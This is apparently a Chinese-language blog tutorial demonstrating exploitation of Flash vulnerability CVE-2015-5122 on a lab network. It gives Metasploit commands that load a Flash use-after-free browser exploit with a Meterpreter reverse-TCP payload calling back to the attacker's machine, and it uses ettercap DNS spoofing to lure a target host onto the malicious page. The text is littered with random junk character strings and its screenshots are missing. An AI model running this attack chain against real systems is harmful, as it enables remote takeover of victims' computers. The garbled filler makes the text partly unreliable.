cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

. C) P" l2 G. _   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

search cve-2015-5122如图：

. c% I2 r0 d; i: `' q4 o

D: ?6 y/ p4 z4 K   - E- D& w4 B6 {8 q5 B9 A! t

6 v( _3 R. N9 ~ f 下面我们敲如下命令： ' D+ M8 a' N: B9 R) K* I

3 P0 q( L# i" h M: _4 ]$ W; w

use exploit/multi/browser/adobe_flash_opaque_background_uaf

8 X# x J& m3 T4 I% z! ]

" m8 k5 m) ~4 k- | set PAYLOAD windows/meterpreter/reverse_tcp * l# B* Q; O: D

~, R0 D# L) M* s* h% B& R* l3 C$ [, F

$ p. R$ D- q- ^ set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/ 8 Q% G6 g3 L' N3 n0 T

) e1 s+ b/ [, C9 c2 x: q set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 5 Y, j5 |9 n' @! N

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图： ) U8 {- j5 h$ Y n

; T5 D/ o$ a4 e% i: N" ^/ S) U  

d- N* h9 f Z1 s) z( w8 g, d

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
# \; E, P+ l' g! m( A

0 e- x7 s, s# B* I! N

! O8 A& s& i- ` 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

" x/ a- V. ~3 }- X8 m$ v- s, p; ]

  ) H% t ^3 K! r0 ?5 `2 s* a/ H

成功了，这时候我们断开ettercap，如图：

. T. m4 M5 Z3 d) w

c! V: O& n" l  

, s0 c: ~4 G4 B

0 A% _. _! |2 F; c Screenshot如图： - t* w) Y4 k" Y' M8 l& I6 \0 v8 T% i

_7 ]( e5 T! w5 Q( V$ e/ s7 c

/ r; v/ W5 O: z* }! G  

$ ?3 Z9 a' V2 Y3 T# B . O8 Q1 S* s; w: S* D: j